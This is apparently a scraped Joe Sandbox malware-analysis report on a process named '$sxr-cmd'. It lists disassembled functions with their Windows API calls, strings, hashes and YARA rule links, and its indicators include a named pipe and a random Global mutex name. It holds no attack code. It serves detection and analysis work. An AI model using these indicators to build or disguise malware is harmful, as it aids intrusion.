Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
String ID:
API String ID: 22757656-0
Opcode ID: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction ID: 493c66bd95201356e4cb2951660dc17c28aa41c687341405ca7b0476d0cfa224
Opcode Fuzzy Hash: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction Fuzzy Hash: C511B272A14A458BE7806B24E08837DBAA0FB89B74FA44334D62E073D0CF7DC45D8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713805690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF713805433,?,?,?,00007FF7138069B8,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF7138056C5
RtlFreeHeap.NTDLL(?,?,00000028,00007FF713805433,?,?,?,00007FF7138069B8,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF7138056D9
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF713805433,?,?,?,00007FF7138069B8,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF7138056FD
RtlFreeHeap.NTDLL(?,?,00000028,00007FF713805433,?,?,?,00007FF7138069B8,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF713805711

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction ID: cf00cad01ab36e3ef6b66a075ee54e806e4df6f3c591bf4ffc6b9c212680e6b0
Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction Fuzzy Hash: 64112872A04F81CADB019F56E4040ACBBA0F749F94B888135DB4E13718DF38E4AACB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F9158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF7137F9163
RtlLookupFunctionEntry.NTDLL ref: 00007FF7137F9182
RtlVirtualUnwind.NTDLL ref: 00007FF7137F91CF
__raise_securityfailure.LIBCMT ref: 00007FF7137F9245

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction ID: 36efa8f06711b38369d8ccd9a0f7667d4c07018563c9cba09fa6183cf9008311
Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction Fuzzy Hash: 1921C335908F4189E780AF14F880369F7A4FB89764F900136DA8D62764EF7EE46CC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380F22C Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF71380F235
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF71380F249
_get_osfhandle.MSVCRT ref: 00007FF71380F263
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF71380F276

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
Instruction ID: c363a19d63f6e9996f30205302280f7524e4412a37066bd33e93f81b384d60d4
Opcode Fuzzy Hash: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
Instruction Fuzzy Hash: CCF01C31A25E42CFD7846B10E444179FA60FB8AB12F849274DA0B12394DF7DD11D8B20

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B2744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002155A5B2828
StrCpyW.SHLWAPI ref: 000002155A5B2841

Strings

\\.\pipe\, xrefs: 000002155A5B2833

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction ID: d3d4abd078e8d08a883bbede54becaaa110dbc2b2a575260a9055ad6c1863adb
Opcode Fuzzy Hash: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction Fuzzy Hash: D071C472200FA4E9EF649E259949BEE6792F7E6789FC00056FE4A43B88DF35C548C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138110D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137ECD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDA6
Part of subcall function 00007FF7137ECD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDBD

wcschr.MSVCRT ref: 00007FF7138111DC
memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF71380827A), ref: 00007FF713811277

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF7138111D5

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateProcessmemmovewcschr
String ID: &()[]{}^=;!%'+,`~
API String ID: 4220614737-381716982
Opcode ID: 4465c0fa31a1beeeb26cedcce685c4bef0802ab666226652cc1f9f3b5947b5db
Instruction ID: c3fa9f046f3d6908dfc9505e6f26d1558fe890871abfd486005eee228dac8dac
Opcode Fuzzy Hash: 4465c0fa31a1beeeb26cedcce685c4bef0802ab666226652cc1f9f3b5947b5db
Instruction Fuzzy Hash: AA71F971A08A4289D7E0EF15A480679F7E4FB987A4FD04235C94E93B94DF3EA459CB30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EE420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06D6
Part of subcall function 00007FF7137F06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06F0
Part of subcall function 00007FF7137F06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F074D
Part of subcall function 00007FF7137F06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F0762

Part of subcall function 00007FF7137EEF40: iswspace.MSVCRT ref: 00007FF7137EF000
Part of subcall function 00007FF7137EEF40: wcschr.MSVCRT ref: 00007FF7137EF031
Part of subcall function 00007FF7137EEF40: iswdigit.MSVCRT ref: 00007FF7137EF0D6

longjmp.MSVCRT ref: 00007FF7137FCCBC
longjmp.MSVCRT(?,?,00000000,00007FF7137F1F69,?,?,?,?,?,?,?,00007FF7137E286E,00000000,00000000,00000000,00000000), ref: 00007FF7137FCCE0

Strings

GeToken: (%x) '%s', xrefs: 00007FF7137FCC39, 00007FF7137FCCF2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcesslongjmp$iswdigitiswspacewcschr
String ID: GeToken: (%x) '%s'
API String ID: 3282654869-1994581435
Opcode ID: 5b3055126f93699daefc779add07b26c723814764b81a484ca01258d4c3fc38c
Instruction ID: d053e4bebf331e249e82c3fba73cfeaee1d336a879116b118cd9863367116402
Opcode Fuzzy Hash: 5b3055126f93699daefc779add07b26c723814764b81a484ca01258d4c3fc38c
Instruction Fuzzy Hash: 7061D461A09E4282FB94AB119490179E294BF49BB4FD44E34CA2E37BD5EE3DE45CC330

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B2530 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002155A5B2617
StrCpyW.SHLWAPI ref: 000002155A5B262E

Strings

\\.\pipe\, xrefs: 000002155A5B2622

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction ID: ee4280c032aa6cb4ee40e62a3fd65b66045658d1d079a2e2b548e2038128f8af
Opcode Fuzzy Hash: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction Fuzzy Hash: A151F932204FA4E2EE259E29905CBEE6652F7F678AFD40055EE4703B59CF39C4098740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138108EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF7138109BC
wcsncmp.MSVCRT ref: 00007FF7138109F5

Strings

0123456789, xrefs: 00007FF7138108FE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memmovewcsncmp
String ID: 0123456789
API String ID: 3879766669-2793719750
Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction ID: 494506dfc28bcb4a0c1d9eefac3ccff9a789b562ecc3a72a77e22eab3403b3d8
Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction Fuzzy Hash: EE412B61F18F8A89EBA1AF25D8002BAA354FB44BE0F945131CE4E63784DE3DD45EC360

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5C06A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002155A5C07BB
GetLastError.KERNEL32 ref: 000002155A5C07DD

Strings

U, xrefs: 000002155A5C0767

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction ID: 0c61de4ea00396ecde54320ebcc6517e578ef15bca519cbb7293546354466d93
Opcode Fuzzy Hash: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction Fuzzy Hash: BD41C532316E64E1EF209F25E8587D977A1F3A8798F804021EE4E87798DB3CC545CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713809784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7138097D0

Part of subcall function 00007FF7137ED3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
Part of subcall function 00007FF7137ED3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED4EE
Part of subcall function 00007FF7137ED3F0: iswspace.MSVCRT ref: 00007FF7137ED54D
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED569
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7138098D7

Strings

Software\Classes, xrefs: 00007FF7138097C2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction ID: 39520b6cddd8c362550d21e2c8e715e3fe50095a8fdb4d78a04a2cf0a546154a
Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction Fuzzy Hash: C6419522A19F5281EB80EB15D485039A3E5FB89BE0F908231DE5D677E1DF3AD469C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380A0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380A0FC

Part of subcall function 00007FF7137ED3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
Part of subcall function 00007FF7137ED3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED4EE
Part of subcall function 00007FF7137ED3F0: iswspace.MSVCRT ref: 00007FF7137ED54D
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED569
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380A1FB

Strings

Software\Classes, xrefs: 00007FF71380A0EE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction ID: 3fd2701393cc841413e9bd9b0c8bd28628662ba84274f6f49529215c6ed78c2e
Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction Fuzzy Hash: 12418322A19F5281FB80EB15D444439E3A5FB897E0F908231DE5E677E1DE3ED869C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ECAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF7137FC736
SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF7137FC7E0

Strings

- , xrefs: 00007FF7137FC7A6

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 04e5911cec5ac31099912e2928c40c373e04d3746e7a49c6294d3f0529e6a83a
Instruction ID: 6d6c22766f157851e179282fa905d006cddf4f494af12b6dc8f74245fba3444f
Opcode Fuzzy Hash: 04e5911cec5ac31099912e2928c40c373e04d3746e7a49c6294d3f0529e6a83a
Instruction Fuzzy Hash: 3C31CF21A08A4286EA84BB01A880079EAA4BF4DBB0F954235D91E377D5DF3DE45CC730

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B2A08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000002155A5B2A5D
CloseHandle.KERNEL32 ref: 000002155A5B2A6B

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000002155A5B2A4D

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction ID: caa439a64c63a557851867e8826366e6bb43f891f65d2c14d2bc5ad739481fa2
Opcode Fuzzy Hash: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction Fuzzy Hash: 2821D336200B68E2EF70CB16A858B9EB392F7E5B99FC50065EE8A43754EF74C449C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F7280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF7137F72D2
swscanf.MSVCRT ref: 00007FF7137F731F

Strings

:EOF, xrefs: 00007FF7137F72E8

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 16430380be0fb913083b6884b205c0f5113cd8b1b31c6669d47242da84fc884d
Instruction ID: d809dfce2f71f723b20d044913a071886b211260a99436cb14a6e68ddab74a23
Opcode Fuzzy Hash: 16430380be0fb913083b6884b205c0f5113cd8b1b31c6669d47242da84fc884d
Instruction Fuzzy Hash: 6E316431A0CE8286FB94AB15A880278F2A4FF4DBB0FC45131EA5E66255DF2DE45DC670

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B2AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000002155A5B2B49
CloseHandle.KERNEL32 ref: 000002155A5B2B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000002155A5B2B39

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: a2d2b3765d5566fc535deb5481a221b3e67e42b63da4ebb7938c5459fdc5611b
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: 30219532600B68E1EB60DF16B858B9E7396F7E5B59FC440A5EE4A83754DF34C44A8740

Uniqueness

